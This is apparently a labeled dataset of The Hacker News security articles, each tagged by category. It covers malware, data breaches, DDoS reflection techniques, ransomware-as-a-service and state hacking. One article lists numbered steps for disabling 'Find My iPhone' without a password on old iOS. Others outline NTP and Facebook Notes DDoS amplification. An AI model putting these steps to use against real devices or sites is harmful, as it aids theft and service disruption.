The highest percentage of victims has been detected in the United States, followed by Saudi Arabia, India, Philippines, Hungary, United Kingdom, Turkey, Germany, Poland, Hong Kong, Sweden, Canada, France, and several other countries across the globe.

",Cyber_Attack
US Government Warns of a New Strain of Chinese 'Taidoor' Virus,https://thehackernews.com/2020/08/chinese-hacking-malware.html,"Intelligence agencies in the US have released information about a new variant of 12-year-old computer virus used by China's state-sponsored hackers targeting governments, corporations, and think tanks.

Named ""Taidoor,"" the malware has done an 'excellent' job of compromising systems as early as 2008, with the actors deploying it on victim networks for stealthy remote access.

""[The] FBI has high confidence that Chinese government actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation,"" the US Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD) said in a joint advisory.

The US Cyber Command has also uploaded four samples of the Taidoor RAT on the public malware repository VirusTotal to let 50+ Antivirus companies check the virus's involvement in other unattributed campaigns.

However, the malware itself is not new. In an analysis by Trend Micro researchers in 2012, the actors behind Taidoor were found to leverage socially engineered emails with malicious PDF attachments to target the Taiwanese government.

Calling it a ""constantly evolving, persistent threat,"" FireEye noted significant changes in its tactics in 2013, wherein ""the malicious email attachments did not drop the Taidoor malware directly, but instead dropped a 'downloader' that then grabbed the traditional Taidoor malware from the Internet.""

Then last year, NTT Security uncovered evidence of the backdoor being used against Japanese organizations via Microsoft Word documents. When opened, it executes the malware to establish communication with an attacker-controlled server and run arbitrary commands.

According to the latest advisory, this technique of using decoy documents containing malicious content attached to spear-phishing emails hasn't changed.

""Taidoor is installed on a target's system as a service dynamic link library (DLL) and is comprised of two files,"" the agencies said. ""The first file is a loader, which is started as a service. The loader (ml.dll) decrypts the second file (svchost.dll), and executes it in memory, which is the main Remote Access Trojan (RAT).""

In addition to executing remote commands, Taidoor comes with features that allow it to collect file system data, capture screenshots, and carry out file operations necessary to exfiltrate the gathered information.

CISA recommends that users and administrators keep their operating system patches up-to-date, disable File and Printer sharing services, enforce a strong password policy, and exercise caution when opening email attachments.

You can find the full list of best practices here.

",Malware
Over 14 Million Verizon Customers' Data Exposed On Unprotected AWS Server,https://thehackernews.com/2017/07/over-14-million-verizon-customers-data.html,"Verizon, the major telecommunications provider, has suffered a data security breach with over 14 million US customers' personal details exposed on the Internet after NICE Systems, a third-party vendor, mistakenly left the sensitive users' details open on a server.

Chris Vickery, researcher and director of cyber risk research at security firm UpGuard, discovered the exposed data on an unprotected Amazon S3 cloud server that was fully downloadable and configured to allow public access.

The exposed data includes sensitive information of millions of customers, including their names, phone numbers, and account PINs (personal identification numbers), which is enough for anyone to access an individual's account, even if the account is protected by two-factor authentication.
""The exposure of Verizon account PIN codes used to verify customers, listed alongside their associated phone numbers, is particularly concerning,"" explained UpGuard's Dan O'Sullivan in a blog post.
NICE Systems is an Israel-based company that is known for offering wide-range of solutions for intelligence agencies, including telephone voice recording, data security, and surveillance.
According to the researcher, it is unknown that why Verizon has allowed a 3rd party company to collect call details of its users, however, it appears that NICE Systems monitors the efficiency of its call-center operators for Verizon.

The exposed data contained records of customers who called the Verizon's customer services in the past 6 months, which are recorded, obtained and analyzed by NICE.

Interestingly, the leaked data on the server also indicates that NICE Systems has a partnership with Paris-based popular telecommunication company ""Orange,"" for which it also collects customer details across Europe and Africa.
""Finally, this exposure is a potent example of the risks of third-party vendors handling sensitive data,"" O'Sullivan said.
""NICE Systems' history of supplying technology for use in intrusive, state-sponsored surveillance is an unsettling indicator of the severity of this breach of privacy.""
Vickery had privately informed Verizon team about the exposure in late June, and the data was then secured within a week.

Vickery is a reputed researcher, who has previously tracked down many exposed datasets on the Internet.

Just last month, he discovered an unsecured Amazon S3 server owned by data analytics firm Deep Root Analytics (DRA), which exposed information of more than 198 Million United States citizens, that's over 60% of the US population.

In March this year, Vickery discovered a cache of 60,000 documents from a US military project for the National Geospatial-Intelligence Agency (NGA) which was also left unsecured on Amazon cloud storage server for anyone to access.

In the same month, the researcher also discovered an unsecured and publicly exposed database, containing nearly 1.4 Billion user records, linked to River City Media (RCM).

In 2015, Vickery also reported a huge cache of more than 191 Million US voter records and details of as many as 13 Million MacKeeper users.

",Data_Breaches
Nearly 7 Million Dropbox Account Passwords Allegedly Hacked,https://thehackernews.com/2014/10/nearly-7-million-dropbox-account.html,"Internet users have faced a number of major privacy breaches in last two months. Major in the list are The Fappening, The Snappening and now the latest privacy breach in Dropbox security has gained everybody's attention across the world.

Dropbox, the popular online locker service, appears to have been hacked by an unnamed hacker group. It is still unclear how the account details of so many users were accessed and, indeed, if they are actually legitimate or not. However, the group claims to have accessed details from nearly 7 million individual accounts and are threatening to release users' photos, videos and other files.

HACKERS CLAIMED TO RELEASE 7 MILLION USERS' PERSONAL DATA
A thread surfaced on Reddit today that include links to files containing hundreds of usernames and passwords for Dropbox accounts in plain text. Also a series of posts with hundreds of alleged usernames and passwords for Dropbox accounts have been made to Pastebin, an anonymous information-sharing site.

Hackers have already leaked about 400 accounts by posting login credentials, all starting with the letter B, and labelled it as a ""first teaser...just to get things going"". The perpetrators are also promising to release more more password details if they're paid a Bitcoin ransom.
""More Bitcoin = more accounts published on Pastebin. As more BTC is donated, More pastebin pastes will appear.""
The security breach in Dropbox would definitely have bothered its millions of users and since passwords are involved in this incident, so it has more frightening consequences on its users. Reddit users have tested some of the leaked username and password combinations and confirmed that at least some of them work.

DROPBOX DENIED THE HACK - THIRD PARTY IS RESPONSIBLE
However, Dropbox has denied it has been hacked, saying the passwords were stolen apparently from third-party services that users allowed to access their accounts. In a statement to The Next Web, Dropbox said:
""Dropbox has not been hacked. These usernames and passwords were unfortunately stolen from other services and used in attempts to log in to Dropbox accounts. We'd previously detected these attacks and the vast majority of the passwords posted have been expired for some time now. All other remaining passwords have expired as well.""
The incident came just few days after the Snappening incident in which the personal images of as much as 100,000 Snapchat users were leaked online, which was the result of a security breach in the its third-party app.

Snapchat has denied that its service or server was ever compromised, but the servers of a third-party app designed to save Snapchat photos, which became the target for hackers to obtain personal photographs.

DROPBOX - ""HOSTILE TO PRIVACY"" SAYS SNOWDEN
Dropbox was in the news earlier this week when, in a recent interview with The Guardian, NSA whistleblower Edward Snowden called Dropbox a ""targeted, wannabe PRISM partner"" that is ""very hostile to privacy"" — referring to its ability to access your data itself, which is yet another security consideration when it comes to web services.

Snowden suggested web users to stop using Dropbox and warned them that the cloud storage service does not safeguard users' privacy because it holds encryption keys and can therefore be forced by governments to hand over the personal data they store on its servers. He suggested people to use an alternative cloud storage provider that do not store any encryption keys, so that the users' data cannot be read by anyone.

USERS ARE ADVISED TO CHANGE PASSWORDS
Until the full scope of the problem is known, it's probably worthwhile changing your password. But whether the attack is confirmed or not, it's a good idea to change your password just to be on a safer side — especially for those users who use same password for multiple services.

Users are also recommended to turn on two-factor authentication, which Dropbox now supports and install a time-based, one-time password app on a mobile device.

Update: Dropbox has issued a statement on its blog further clarifying that the Dropbox passwords were stolen from ""unrelated services.""
""The usernames and passwords...were stolen from unrelated services, not Dropbox,"" the company said in a blog post. ""Attackers then used these stolen credentials to try to log in to sites across the internet, including Dropbox. We have measures in place that detect suspicious login activity and we automatically reset passwords when it happens.""
""Attacks like these are one of the reasons why we strongly encourage users not to reuse passwords across services. For an added layer of security, we always recommend enabling 2 step verification on your account.""

",Data_Breaches
Abusing Network Time Protocol (NTP) to perform massive Reflection DDoS attack,https://thehackernews.com/2014/01/Network-Time-Protocol-Reflection-DDoS-Attack-Tool.html,"In 2013, we have seen a significant increase in the use of a specific distributed denial of service (DDoS) methodology known as Distributed Reflection Denial of Service attacks (DrDoS). Open and misconfigured DNS (Domain Name System) can be used by anyone to resolve domain names to IP addresses are increasingly abused to launch powerful DDoS attacks.
But not only the DNS servers, Security Researchers at Symantec have spotted Network Time Protocol (NTP) reflection DDoS attacks being launched by cyber criminals during the Christmas Holidays.

'Network Time Protocol (NTP)' is a distributed network clock time synchronization protocol that is used to synchronize computer clock times in a network of computers and runs over port 123 UDP.
NTP is one of those set-it-and-forget-it protocols that is configured once and most network administrators don't worry about it after that. Unfortunately, that means it is also not a service that is upgraded often, leaving it vulnerable to these reflection attacks.
Same as DNS Reflection attack, the attacker sends a small spoofed 8-byte UDP packets are sent to the vulnerable NTP Server that requests a large amount of data (megabytes worth of traffic) be sent to the DDoS's target IP Address. CVE assigned to the NTP vulnerability is CVE-2013-5211.
In this case, the attackers are taking advantage of the monlist command. Monlist is a remote command in older version of NTP that sends the requester a list of the last 600 hosts who have connected to that server. For attackers the monlist query is a great reconnaissance tool.
On December 16, there were almost 15000 IP addresses involved in the NTP DDoS attack. These servers can be thought of as passive botnet members since the attacker can passively gather large lists of them.

If you manage a public NTP server, can fix the issue by updating it to NTP 4.2.7, for which the support of 'monlist' query has been removed in favor of new safe 'mrunlist' function which uses a nonce value ensuring that received IP address match the actual requester.

",Vulnerability
Vulnerability Allows Anyone to DDoS Websites Using Facebook Servers,https://thehackernews.com/2014/04/vulnerability-allows-anyone-to-ddos.html,"Reading a 'Note' created by anyone on the Facebook could trick you automatically to do malicious attacks against others unknowingly.

A Security researcher Chaman Thapa, also known as chr13 claims that the flaw resides in 'Notes' section of the most popular social networking site - Facebook, that could allow anyone to launch the distributed denial-of-service (DDoS) attack of more than 800 Mbps Bandwidth on any website.

A Distributed Denial-of-Service (DDoS) attack is one in which multiple compromised systems attacks a single target system or service to make it unavailable to its intended users. The flood of incoming requests essentially forces the target system or service to shut down, thereby denying service to the system to its legitimate users.

While demonstrating the vulnerability on his blog, he explained that Facebook allows its users to include
tags inside the post in order to draft a note with beautiful related images from any source.

Facebook basically downloads external images from the original source for the first time only, and then cache them, but if the image url have dynamic parameters, then Facebook cache mechanism could be bypassed to force the Facebook servers to download all included images each time whenever anybodys open the note in its browser.

'Facebook will only cache the image once however using random get parameters the cache can be by-passed and the feature can be abused to cause a huge HTTP GET flood.' he said.

DDoS FACTOR, A SCENARIO
Let's suppose if you want to DDoS a website target.com, that have an image of 1 MB Size on its server. An attacker can create a Facebook Note with some text, including same image multiple times with dynamic parameters, i.e.
This way one can force Facebook servers to load 1 mb of file 1000 times in one pageview and if 100 Facebook users are reading the same crafted note at the same time, then Facebook servers will be forced to download 1 x 1000 x 100 = 100,000 Mb or 97.65Gb bandwidth within few seconds from the targeted servers.

400 MBPS DDoS ATTACK DEMO
Researcher demonstrated the proof-of-concept with 400 Mbps attack, by attacking on his own web server. Stats shown below:
The factor and danger of DDoS attack could be even higher when the image is replaced by a pdf or video of larger size, in case Facebook would crawl a huge file but the user gets nothing.

Facebook allows a user to create maximum of 100 Notes in a short span of time and each Note could support more than 1000 links, but because there is no captcha for the Facebook Notes creation, so all this operation can be performed automatically and an attacker could easily creates hundreds of notes using multiple users at the time of performing attack.

""It seems there is no restriction put on Facebook servers and with so many servers crawling at once we can only imagine how high this traffic can get"" he concluded.

STILL UNPATCHED AND DON'T EXPECT ANY PATCH FROM FACEBOOK
Unfortunately, Facebook has no plans to fix this critical vulnerability, ""In the end, the conclusion is that there's no real way to us fix this that would stop attacks against small consumer grade sites without also significantly degrading the overall functionality,"" Facebook replied to the researcher.

Similar kind of attack was noticed in mid of 2011 year when a security penetration tester at Italian security firm AIR Sicurezza Informatica discovered flaws in Google's Plus servers that allowed hackers to exploit the search giant's bandwidth and launch a distributed denial-of-service (DDoS) attack on a server of their choice.

",Cyber_Attack
Malware Can Bypass Chrome Extension Security Feature Easily,https://thehackernews.com/2014/09/malware-can-bypasses-chrome-extension.html,"Researchers have uncovered a new social engineering trick that leads users to a malicious extension from Google Chrome impersonating to deliver Adobe's Flash Player in order to lure victims in a click fraud campaign.

Security experts at TrendMicro believe that the malware is triggered by opening Facebook or Twitter via shortened links provided in any social networking websites. Once clicked, the links may lead victims to a site that automatically downloads the malicious browser extension.

MALWARE INVOLVES DOWNLOADING MULTIPLE MALICIOUS FILES
The process is quite complicated as the malware drops a downloader file which downloads multiple malicious files on the victim's computer. Moreover, the malicious program also has ability to bypass Google's recent security protection added to Chrome against installation of browser extensions that are not in Chrome Web Store.

Researchers came across a baiting tweet that advertises ""Facebook Secrets"", claiming to show videos that are not publicly available, along with a shortened link that is to be clicked in order to get it. Curious users easily fall victim to such campaign and click the given links to download those videos.

What the user totally unaware of is that the file which he downloaded is a malware dropper with the name ""download-video.exe"", detected as TROJ_DLOADE.DND, according to fraud analyst Sylvia Lascano of the security firm Trend Micro.

This malicious file then is used to drop additional malware into the victims' computer, one such is a Chrome browser extension which masquerades as Flash Player, which could be used for more offensive threats designed to steal victims' credentials for various online services.

MALWARE BYPASSES GOOGLE'S SECURITY POLICY
In order to evade detection, the malware circumvents Google's security policy – which only allows extension installations hosted in the Chrome Web Store – by creating a folder in the browser's directory where it drops ""browser extension components.""
The browser extension components that needs to be loaded are added to Chrome's extension folder are as follows:
manifest.json – contains browser extension description like name, script to load, version, etc.
crx-to-exe-convert.txt – contains the script to be loaded, which can be updated anytime by connecting to a specific URL.
After all the data is parsed by the browser in the dropped component manifest.json, the extension is ready to work.

OPEN FACEBOOK OR TWITTER – BE A VICTIM OF CLICK FRAUD
Once installed, if a user visits Facebook or Twitter, the extension quietly opens a specific site in the background that is written in Turkish, which researchers believe is part of a click fraud or redirection scheme.
""The site is written in Turkish and phrases such as 'bitter words,' 'heavy lyrics,' 'meaningful lyrics,' 'love messages,' and 'love lyrics' appear on the page. This routine could be a part of a click fraud or redirection scheme,"" fraud analyst Sylvia Lascano of the security firm Trend Micro said in a blog post.
SHORTENED LINK HELPED THREAT ACTORS
By the time researchers discovered the campaign, the tweets promoting the sophisticated malware dropper had been retweeted more than 6,000 times.

Here cyber criminals took help of shortened link in order to victimize a large number of victims because of the fact that the shortened link don't have visibility of where it directs, and contributes to spreading the campaign.

So, in order to protect your computers against this sort of threats, avoid accessing links from any unknown and suspicious sources.

",Malware
Russian Hacker Selling Cheap Ransomware-as-a-Service On Dark Web,https://thehackernews.com/2017/04/ransomware-as-a-service.html,"Ransomware has been around for a few years, but it has become an albatross around everyone's neck, targeting businesses, hospitals, financial institutions and individuals worldwide and extorting millions of dollars.

Forget about developing sophisticated banking trojans and malware to steal money out of people and organizations. Today, one of the easiest ways that can help cyber criminals get paid effortlessly is Ransomware.

This threat became even worse after the arrival of ransomware as a service (RaaS) – a variant of ransomware designed to be so user-friendly that anyone with little or no technical knowledge can also easily deploy them to make money.

Now, security researchers have uncovered an easy-to-use ransomware service that promises profit with just one successful infection.

Dubbed Karmen, the RaaS variant is based on the abandoned open-source ransomware building toolkit dubbed Hidden Tear and is being sold on Dark Web forums from Russian-speaking hacker named DevBitox for $175.

Like any typical ransomware infections, Karmen encrypts files on the infected PC using the strong AES-256 encryption protocol, making them inaccessible to the victim until he/she pays a large sum of money to obtain the decryption key from the attacker.

This new variant of ransomware-as-a-service (RaaS) provides buyers access to a web-based control panel hosted on the Dark Web with a user-friendly graphical dashboard that allows buyers to configure a personalised version of the Karmen ransomware.

The dashboard lets buyers keep a running tally of the number of infections and their profit in real time, allowing anyone with very minimal technical knowledge to deploy Karmen, threat intelligence firm Recorded Future said in a blog post published today.

Hacker: Don't Mess with my Malware; otherwise, Your Files are Gone!

Once infected, the Karmen ransomware encrypts the victim's files and shows a popup window with a threatening message warning users not to interfere with the malware; otherwise, they might lose all their files.

What's more interesting? Karmen automatically deletes its decryptor if a sandbox environment or analysis software is detected on the victim's computer to make security researchers away from investigating the threat.

Initial Karmen infections were reported in December 2016 by victims in Germany and the United States, while the sale in underground forums began in March 2017.

So far, 20 users have purchased copies of Karmen malware from DevBitox, according to Recorded Future, while three of those buyers have left positive reviews on their profile.

You can also watch a YouTube video demonstration which shows the RaaS in action.

How to Protect Yourself from Ransomware Threat?

Here are some important steps that should be considered safeguarding against ransomware infection:

Always keep regular backups of your important data.
Make sure you run an active anti-virus security suite of tools on your system.
Do not open email attachments from unknown sources.
Most importantly, always browse the Internet safely.

",Cyber_Attack
PLATINUM Hackers Hijack Windows Hotpatching to Stay Hidden,https://thehackernews.com/2016/04/windows-hotpatching-malware.html,"In Brief
The Microsoft's Windows Defender Advanced Threat Hunting team detected that a cyber espionage group of hackers, known as PLATINUM, has found a way to turn the Windows's Hotpatching technique (a way of updating the operating system without requiring a restart) to hide its malware from Antivirus products.

PLATINUM group has been active since 2009 and launching large-scale attacks against governmental organizations, intelligence agencies, defense institutes and telecommunication providers in South and Southeast Asia.

Practically speaking, the most important thing for a sophisticated APT hacker and a cyber-espionage group is to remain undetected for the longest possible period.

Well, that's exactly what an APT (Advanced Persistent Threat) group has achieved.

The Microsoft's Windows Defender Advanced Threat Hunting team has discovered that an APT group, dubbed Platinum, has been spying on high-profile targets by abusing a ""novel"" technique called Hotpatching.

Introduced in Windows Server 2003, the Hotpatching feature allows Microsoft to upgrade applications or the operating system in the running system without having to reboot the computer by inserting the new, updated code into a server.

The Platinum hacking group has often used the spear-phishing technique to penetrate initially the targeted networks, used numerous zero-day vulnerabilities in attacks, and has taken many efforts to hide its attacks.

The latest report released by Microsoft said the Platinum group abused the Windows' hotpatching feature, allowing it to inject malicious code into running processes without having to reboot the server and then later hide backdoors and other malware from installed antivirus solution.
""If the tool fails to inject code using hot patching, it reverts to attempting the other more common code injection techniques into common Windows processes, primarily targeting winlogon.exe, lsass.exe, and svchost.exe,"" Microsoft said in its report.
The hotpatching technique works against Windows Server 2003 Service Pack 1, Windows Server 2008, Windows Server 2008 R2, Windows Vista, and Windows 7. Platinum abused the technique in real-world attacks to hide its efforts from analysis.

The group has been using the Hotpatching technique to install the Dipsing, Adbupd and JPIN backdoors on networks belonging to governmental organizations, including defense organizations, intelligence agencies, diplomats and Internet Service Providers (ISPs) and then to steal sensitive data.

The goal of the attacks doesn't appear to have been immediate financial gain; rather the Platinum APT group is up to a broader economic espionage campaign using stolen information.

The group has been targeting countries in South and Southeast Asia since at least 2009, with Malaysia being its biggest victim, following Indonesia, China, and India.

Though the Platinum group is still active, there is still a way for organizations and companies to avoid infection.

Microsoft's security experts explain that the hotpatching technique requires admin-level permissions, so the threat actors are sending spear-phishing emails that come with boobytrapped Office documents to infect each target.

",Cyber_Attack
Samsung Galaxy S4 and iPhone 5 zero-day exploits revealed at Pwn2Own 2013 Contest,https://thehackernews.com/2013/11/samsung-galaxy-s4-and-iphone-5-zero-day_13.html,"At Information Security Conference PacSec 2013 in Tokyo, Apple's Safari browser for the iPhone 5 and the Samsung Galaxy S4 have been exploited by two teams of Japanese and Chinese white hat hackers.
In HP's Pwn2Own 2013 contest, Japanese squad Team MBSD, of Mitsui Bussan Secure Directions won won $40,000 reward for zero day exploit for hacking Samsung Galaxy S4. The vulnerabilities allow the attacker to wholly compromise the device in several ways, such as using a drive-by download to install malware on the phone.

In order for the exploit to be successful, the group lured a user to a malicious website, gained system-level privileges and installed applications that allowed the team to gather information, including SMS messages, contacts and browsing history. They

Another Hackers Team from Keen Cloud Tech in China showed how to exploit a vulnerability in iOS version 7.0.3 to steal Facebook login credentials and a photo from a device running iOS 6.1.4. They won $27,500 in prize money. Keen Team is the first ever Chinese winners of any Pwn2Own competition.

Both hacks would require user interaction, but took no longer than five minutes to perform. Organisers from the HP Zero Day Initiative have informed Samsung and Apple about the zero-day flaws and they will be working to address.

",Vulnerability
Book — Unmasking the Social Engineer: The Human Element of Security,https://thehackernews.com/2014/08/book-unmasking-social-engineer-human.html,"If we talk about old days, a hacker often rely on the natural helpfulness as well as weaknesses of people whom he wanted to target. This tactic to break into a computer network by gaining the confidence of an authorized user and get them to reveal information that compromises the network's security is known as Social Engineering.

WHAT IS SOCIAL ENGINEERING
Social engineering is nothing but a non technical kind of intrusion that relies heavily on human interaction and involves manipulating people so they give up confidential information.

Social engineering was very effective those old days as well as today, as major targets are made victims using this old trick only and it is also one of the important components of many types of exploits like:
Virus writers use social engineering tactics to persuade people to run malicious email attachments
Phishers use social engineering tactics to convince people to disclose their sensitive information such as banking credentials and passwords
Scareware vendors use social engineering to frighten people into running software that is useless at best and dangerous at worst
IMPORTANCE OF SOCIAL ENGINEERING
Now, the question rises, Why there is a need to understand Social engineering tactics and its importance in day-to-day life?

Security experts suggest that as our culture becomes more dependent on information, social engineering will remain the greatest threat to any security system. Prevention includes educating people about the value of information, training them to protect it, and the major part is, increasing people's awareness on how social engineers operate.

Christopher James Hadnagy, the President and Chief Human Hacker of Social-Engineer, Inc., wrote an absolute book on social engineering titled, Social Engineering: The Art of Human Hacking in which he detailed the entire lifecycle of social engineering and almost everything you needed to know about it.

Christopher is an American security consultant, author, and professional social engineer who has spent his last 16 years in security and technology, specializing in understanding the ways in which malicious attackers are able to exploit human weaknesses to obtain access to information and resources through manipulation and deceit.

In his recent released edition Unmasking the Social Engineer: The Human Element of Security (Special 50% OFF for THN Readers, Valid till August 31st, 2014), Christopher has detailed a more advanced science of understanding non-verbal communications along with the knowledge of how social engineers use these skills to build feelings of trust and relationship in their targets.

The author helps his readers to understand how they can identify and detect social engineers and scammers by analyzing their non-verbal behavior, that means body language and facial expressions. It helps you understand both the aspects, to make social engineering easier, and on the other hand, also to defend against social engineering attacks easier as well.

This simply means, if you can understand how a social engineer uses non-verbal behavior, then you can better defend yourself and your organization against them.

THE BOOK WALKS THE READER THROUGH
Clearly combines both the practical and technical aspects of social engineering security
Reveals the various dirty tricks that scammers use
Pinpoints what to look for on the nonverbal side to detect the social engineer
Understanding Nonverbal Displays of Comfort and Discomfort
Decoding the Language of the Body
""The focus wasn't just to write another book about social engineering, but to present the materials in such a way that it made the information easy to grasp and use,"" says Christopher Hadnagy.

",Malware
iOS vulnerability allows to disable 'Find My iPhone' without password,https://thehackernews.com/2014/02/ios-vulnerability-allows-to-disable_8.html,"Smartphone manufacturers are adding ways for owners to track and manage their phones if they ever get lost or stolen. Find My iPhone is a service that comes with every iOS device that allows you to track your iPhone, whether it was lost or stolen.

Normally, the iPhone requires a password if you want to deactivate ""Find My iPhone"", but it isn't entirely perfect and thieves are now smart enough to disable 'Find My iPhone' on devices running iOS 7.0.4 and lower version, without having to enter a password.

The exploit was discovered and demonstrated security researcher 'Bradley Williams' and performing a successful bypass means you won't be able to locate, make sound and wipe out.

The vulnerability could put the devices at risk, and the exploitation method involves a few simple steps that involve making changes in the iCloud settings, even if they don't know the password.

Steps to hack 'Find My iPhone':
Navigate to iCloud in the settings.
Select your account.
Change the password to an incorrect one, then taps Done.
When display 'wrong password' warning, Tap OK and then tap Cancel.
Reselect your account.
Empty the description field and then press Done.
You will notice Find My iPhone is now toggled off.
The exploitation also requires physical access to the device, and then only works if the user hasn't set a passcode or enabled the iPhone 5S fingerprint-based Touch ID system and hackers are not able to reproduce it iOS 7.1 beta version, that means the flaw will be fixed in the next iOS update, which is expected to hit the devices in March.

Users are recommended to activate Apple's device Lock system, which blocks a thief from erasing and re-activating a stolen phone unless they enter your Apple ID and password.

",Vulnerability
All Versions of Windows affected by Critical Security Vulnerability,https://thehackernews.com/2016/02/windows-security-update.html,"Microsoft has released 13 security bulletins, six of which are considered to be critical, resolving a total of 41 security vulnerabilities in its software this month.

Every Windows version Affected:

One of the critical vulnerabilities affects all supported version of Windows, including Microsoft's newest Windows 10 operating system, as well as Windows Server 2016 Tech Preview 4.

The memory-corruption flaw (MS16-013) could allow a remote attacker to execute arbitrary code as the logged-in user by tricking a user into opening a specially crafted Journal file.

This vulnerability would let the attacker run malicious programs on victim's machine, even delete data and create new accounts with full user rights.

Administrator accounts are at the greatest risk than users with a fewer user rights account on the system. However, the good news is the vulnerability has not been spotted in the wild.

List of All Critical Vulnerabilities

Other Critical Security Updates are as listed below:
MS16-009: A cumulative security update for Internet Explorer 9 through 11. The update patches 13 security issues, including remote-code-execution (RCE) and information disclosure bugs.
MS16-011: Another cumulative update for the Microsoft's newest Edge browser in Windows 10 patches 6 security issues, 4 of which are remote code execution vulnerabilities.
MS16-012: An update addresses two remote-code-execution flaws in Windows PDF Library and Reader for Windows 8.1, Windows 10 and Server 2012. Flaws could allow attackers to run malicious code on an affected system by tricking users into opening a specially-crafted PDF file.
MS16-015: An update patches 6 memory-corruption vulnerabilities in Microsoft Office, each of which could allow a remote attacker to run arbitrary code by tricking a user into opening a specially-crafted Office file.
MS16-022: A security update resolves more than two dozen vulnerabilities in Adobe Flash Player on all supported versions of Windows 8.1, Windows 10, Windows Server 2012, Windows Server 2012 R2, Windows RT 8.1.
All of the above critical vulnerabilities were privately reported to the tech giant and were not believed to have been exploited by attackers.

Other security updates rated as ""important"" issues address Remote Code Execution flaw and Elevation of Privilege bug in Windows, as well as Denial of Service (DoS) vulnerability in Microsoft Windows, .NET Framework and Active Directory Federation Services (ADFS).

Windows 10 Update History Page Goes Live Today

Meanwhile, Microsoft also launched a dedicated page for keeping track of every Windows 10 update in order to improve transparency.

So from today, you can just visit Windows 10 update history to see the latest improvements, features, and changes the company has made to its latest OS.
""We're committed to our customers and strive to incorporate their feedback, both in how we deliver Windows as a service and the info we provide about Windows 10,"" the company notes.

""In response to this feedback, we are providing more details about the Windows 10 updates we deliver through Windows Update. You'll see a summary of important product developments included in each update, with links to more details.""
Windows 10 update history page will regularly be updated, as soon as the company rolls out new updates and security patches to the operating system.

",Vulnerability
"Israeli Road Control System hacked, caused Traffic jam on Haifa Highway",https://thehackernews.com/2013/10/israeli-road-control-system-hacked.html,"Israel is considered one of the most advanced country in cyber security, but at the same time is a privileged target for hostile governments intent in sabotage and cyber espionage on his technology.

Yesterday, Cybersecurity experts revealed that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack, that caused massive traffic congestion in the City.

Isreal military officials are aware of cyber threats that could hit the infrastructure of the country and they afraid the possible effect of a cyber attack on a large scale.

Israeli government websites suffer thousands of cyberattacks each day according Ofir Ben Avi, head of the government's website division. The Israel Electric Corp. confirmed that its servers register about 6,000 unique computer attacks every second.

In June, Prime Minister Benjamin Netanyahu stated that Iran militia, Hezbollah and Hamas have targeted in numerous occasions Israel's ""essential systems,"" including its water facilities, electric grid, trains and banks.
""Every sphere of civilian economic life, let's not even talk about our security, is a potential or actual cyber attack target,"" said Netanyahu.

Israel's military chief Lt. Gen. Benny Gantz made a high-profile speech recently outlining that within the greatest threats his country might face in the future there is the computer sabotage as a top concern. A sophisticated cyber attack could be used to shut down a banking system of Israel, the national electric grids or a defense system, this is a nightmare for the Defense.
Cybersecurity experts revealed to The Associated Press that a major artery in Israel's national road network located in the northern the city of Haifa suffered a cyber attack that has caused serious logistical problems and hundreds of thousands of dollars in damage.

The tunnel is a strategic thoroughfare in the third largest city of the country, and as a demonstration of its importance in the city is exploring the possibility to use the structure as a public shelter in case of emergency.
It seems that the attackers used a malware to hit the security camera apparatus in the Carmel Tunnel toll road in Sept. 8 and to gain its control.

""The attack caused an immediate 20-minute lockdown of the roadway. The next day, the expert said, it shut down the roadway again during morning rush hour. It remained shut for eight hours, causing massive congestion.""

The experts that have investigated on the incident exclude that the hypothesis of a state-sponsored attack because the malicious code used was not sophisticated enough to be the work of a hostile government, it is likely the involvement of a group of hacktivists.

Carmelton company that oversees the toll road, blamed a ""communication glitch"" for the incident, while Oren David, a manager of security firm RSA's anti-fraud unit, said that although he didn't have information about the tunnel incident similar attacks could represent a serious menace for population.

""Most of these systems are automated, especially as far as security is concerned. They're automated and they're remotely controlled, either over the Internet or otherwise, so they're vulnerable to cyberattack,"" ""among the top-targeted countries."" said David.

In reality Iranian hackers and other hostile entities have penetrated successfully Israeli systems, Israel has controlled the attacks to track back the hackers, profile their methods of attack and to conduct a disinformation campaign making available false information.

To improve security of critical infrastructure the Israeli civilian infrastructure, Israel's national electric company has recently launched a training program, jointly with cyber defense company CyberGym, to teach engineers and managers of critical plants to detect ongoing cyber attacks.

The attack scenario revealed portends to an escalation of attacks by hostile entities, whether they are cyber criminals, hacktivits or state-sponsored hackers, it's crucial for the Israeli government to invest in improvement of cyber capabilities for its survival.

",Malware
U.S. Offers Rewards up to $5 Million for Information on North Korean Hackers,https://thehackernews.com/2020/04/north-korea-hackers.html,"The United States agencies today released a joint advisory warning the world about the 'significant cyber threat' posed by North Korean state-sponsored hackers to the global banking and financial institutions.

Besides a summary of recent cyberattacks attributed to North Korean hackers, the advisory—issued by U.S. Departments of State, the Treasury, and Homeland Security, and the FBI—also contains a comprehensive guide intends to help the international community, industries, and other governments defend against North Korea's illicit activities.

""In particular, the United States is deeply concerned about North Korea's malicious cyber activities, which the U.S. government refers to as HIDDEN COBRA. The DPRK has the capability to conduct disruptive or destructive cyber activities affecting U.S. critical infrastructure,"" the advisory says.

""The DPRK also uses cyber capabilities to steal from financial institutions, and has demonstrated a pattern of disruptive and harmful cyber activity that is wholly inconsistent with the growing international consensus on what constitutes responsible state behavior in cyberspace.""

Notably, it also mentioned that the U.S. government is now offering a monetary reward of up to $5 million to anyone who can share 'information about illicit North Korea's activities in cyberspace,' including past or ongoing hacking operations.

""To support international efforts to disrupt North Korea's illicit activities, the State Department's Rewards for Justice (RFJ) program offers rewards of up to $5 million for information that leads to the disruption of financial mechanisms of persons engaged in certain activities that support North Korea, including money laundering, sanctions evasion, cyber-crime, and WMD proliferation,"" the Reward for Justice website says.

The well-known North Korea hacking group out of all is the Lazarus group, also known as Hidden Cobra and Guardians of Peace, that has been linked to several high-profile disruptive and espionage-related cyberattacks.

The first part of the report lists a broad categorization of cyber activities targeting financial institutions through which North Korea generates revenue while bypassing sanctions imposed by the UN Security Council.

This list includes:


Cyber activities to steal money from financial institutions and digital currency exchanges,
Using digital means to illegally launder funds through multiple jurisdictions,
Cyber attacks to conduct extortion campaigns against third-country entities,
Using Cryptojacking malware against victims from other countries and abusing their systems to mine digital currencies.


According to the United States, North Korea has attempted to steal as much as $2 billion through these malicious cyber activities.

""North Korea targets cyber-enabled infrastructure globally to generate revenue for its regime priorities, including its weapons of mass destruction programs,"" the U.S. government said.

